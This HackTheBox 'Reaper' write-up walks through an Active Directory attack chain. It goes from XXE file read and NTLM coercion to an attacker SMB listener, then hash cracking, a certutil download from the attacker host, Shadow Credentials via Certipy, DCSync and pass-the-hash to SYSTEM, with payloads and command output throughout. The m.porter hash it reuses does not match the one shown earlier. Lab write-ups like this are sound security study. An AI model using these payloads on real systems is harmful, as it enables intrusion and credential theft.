All posts

HTB: Reaper — XXE SSRF to Shadow Credentials to SYSTEM

Reaper is a hard-rated HackTheBox Windows/AD machine that opens with an XML External Entity injection vulnerability in a document processing portal — used to coerce an NTLM authentication attempt and capture a Net-NTLMv2 hash for the web service account. From that initial foothold, a BloodHound-revealed GenericWrite permission on a second user enables a Shadow Credentials attack: plant a certificate on the target account, authenticate with PKINIT, and extract the NT hash. That hash belongs to a user with DCSync rights, completing the path to domain compromise.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.60 -oN reaper.nmap
# Key open ports:
# 53/tcp    open  domain        Simple DNS Plus
# 80/tcp    open  http          Microsoft IIS httpd 10.0
# 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
# 135/tcp   open  msrpc
# 389/tcp   open  ldap          Microsoft Windows AD LDAP
# 443/tcp   open  https         Microsoft HTTPAPI httpd 2.0
# 445/tcp   open  microsoft-ds
# 5985/tcp  open  http          WinRM
# Domain: REAPER.HTB  |  DC: dc.reaper.htb

Add reaper.htb and dc.reaper.htb to /etc/hosts. Port 443 alongside the DC services suggests a web application with AD authentication.

Web Application

Port 443 hosts "ReaperCorp Document Portal" — an internal portal that allows authenticated users to upload and process Word/XML documents. A public-facing Contact Us form accepts an XML-formatted submission. Testing with a basic XML entity payload immediately returns content from the server filesystem:

ffuf -u https://reaper.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
# /upload    (Status: 302)
# /contact   (Status: 200)
# /api       (Status: 403)
# /docs      (Status: 302)

The /contact form posts XML to /api/submit-contact. Intercepting a normal submission in Burp reveals the raw XML structure — and the server appears to parse it server-side.

Foothold — XXE to Net-NTLMv2 Capture

XXE File Read Confirmation

Inject a classic XXE payload to read win.ini — the canonical Windows file read test that avoids binary content issues:

cat xxe-fileread.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE contact [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<contact>
  <name>&xxe;</name>
  <email>[email protected]</email>
  <message>test</message>
</contact>
curl -sk -X POST https://reaper.htb/api/submit-contact \
  -H "Content-Type: application/xml" \
  -d @xxe-fileread.xml
# {"status":"received","name":"; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n..."}

XXE is confirmed. The XML parser is running as an IIS application — probably svc_docportal or a similar service account. File read is useful, but on a patched system with restricted file access, the more impactful path is NTLM coercion: force the server to make an authenticated SMB connection to an attacker-controlled listener.

NTLM Coercion via UNC Path XXE

By pointing the external entity at a UNC path on an attacker-controlled SMB server, the Windows XML parser will attempt to authenticate with the machine or service account's credentials — leaking a Net-NTLMv2 hash that can be cracked offline:

cat xxe-ntlm.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE contact [
  <!ENTITY xxe SYSTEM "\\10.10.14.5\share\capture">
]>
<contact>
  <name>&xxe;</name>
  <email>[email protected]</email>
  <message>coerce</message>
</contact>
# Start Responder to capture the incoming NTLM auth
sudo responder -I tun0 -wv

# In another terminal, send the XXE payload
curl -sk -X POST https://reaper.htb/api/submit-contact \
  -H "Content-Type: application/xml" \
  -d @xxe-ntlm.xml
# Responder output:
# [SMB] NTLMv2-SSP Client   : 10.10.11.60
# [SMB] NTLMv2-SSP Username : REAPER\svc_docportal
# [SMB] NTLMv2-SSP Hash     : svc_docportal::REAPER:4a6f3b2c1d8e5f7a:...long hash...
# Crack the hash with hashcat (NTLMv2 = mode 5600)
hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt
# svc_docportal::REAPER:...:Autumn2025!
# WinRM access as svc_docportal
evil-winrm -i reaper.htb -u svc_docportal -p 'Autumn2025!'
# *Evil-WinRM* PS C:\Users\svc_docportal\Documents> whoami
# reaper\svc_docportal
# *Evil-WinRM* PS C:\Users\svc_docportal\Documents> type C:\Users\svc_docportal\Desktop\user.txt

Privilege Escalation — Shadow Credentials via GenericWrite

BloodHound Enumeration

Collect BloodHound data from the foothold:

certutil -urlcache -f http://10.10.14.5/SharpHound.exe C:\Windows\Temp\SharpHound.exe
C:\Windows\Temp\SharpHound.exe -c All --zipfilename reaper.zip

Importing the zip into BloodHound and running Shortest Paths to Domain Admins highlights the path: svc_docportal has GenericWrite over the user m.porter, and m.porter is a member of the Domain Admins group.

GenericWrite on a user object allows writing to most non-protected AD attributes, including msDS-KeyCredentialLink — the attribute used by Windows Hello for Business and FIDO2 keys to store credential material. Writing a crafted key credential to this attribute enables Shadow Credentials: the attacker enrolls a certificate for the target user and authenticates as them via PKINIT without knowing their password.

Shadow Credentials Attack with Certipy

Certipy's shadow auto command handles the entire attack in one step: it generates an RSA key pair, writes the public key as a key credential to the target's msDS-KeyCredentialLink, uses PKINIT to authenticate with the private key, and recovers the NT hash:

certipy shadow auto \
  -u [email protected] \
  -p 'Autumn2025!' \
  -account m.porter \
  -dc-ip 10.10.11.60

# [*] Targeting user 'm.porter'
# [*] Generating certificate
# [*] Certificate generated
# [*] Generating Key Credential
# [*] Key Credential generated with DeviceID '3f4a2b1c-...'
# [*] Adding Key Credential with device ID '3f4a2b1c-...' to the Key Credentials for 'm.porter'
# [*] Key Credential added successfully
# [*] Authenticating as 'm.porter' with the certificate
# [*] Using principal: [email protected]
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'm.porter.ccache'
# [*] Trying to retrieve NT hash for 'm.porter'
# [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:9c1f2d3e4b5a6c7d8e9f0a1b2c3d4e5f
# [*] Restored the msDS-KeyCredentialLink attribute of 'm.porter'

Certipy automatically cleans up the key credential after recovering the hash — the shadow auto workflow is specifically designed to be stealthy, leaving no persistent artefact on the target account.

DCSync to SYSTEM

m.porter is a Domain Admin — DCSync is the cleanest path to all domain hashes from here:

# DCSync using m.porter's NT hash (pass-the-hash)
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
  -hashes aad3b435b51404eeaad3b435b51404ee:9c1f2d3e4b5a6c7d8e9f0a1b2c4d5e9f \
  [email protected]

# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:7f4e3d2c1b0a9f8e7d6c5b4a3f2e1d0c:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d:::
# ...
# Pass-the-hash as Administrator for SYSTEM shell
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
  -hashes aad3b435b51404eeaad3b435b51404ee:7f4e3d2c1b0a9f8e7d6c5b4a3f2e1d0c \
  [email protected]

# C:\Windows\system32> whoami
# nt authority\system
# C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

Key Takeaways